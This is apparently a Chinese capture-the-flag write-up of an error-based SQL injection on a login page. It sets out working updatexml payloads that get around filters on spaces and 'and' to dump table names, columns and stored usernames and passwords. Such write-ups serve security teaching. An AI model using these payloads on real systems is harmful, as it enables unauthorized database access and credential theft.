进入页面,尝试输入单引号
用户名和密码被单引号包裹
尝试输入恒等式,堆叠注入,均被过滤
尝试爆数据库名 1'or updatexml(1,concat(0x7e,database(),0x7e),1) #
经过一些测试,发现and和空格都被过滤了,修改一下语句
1'orupdatexml(1,concat(0x7e,database(),0x7e),1) #
成功爆出数据库 geek
那么之后的操作就简单了,只需要修改一下被过滤的语句,按照流程操作即可
报表名 1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
或者
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
得到表名 H4rDsq1
爆字段 1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
报数据 1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
由于超过长度大小,所以要再爆出后半段数据
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#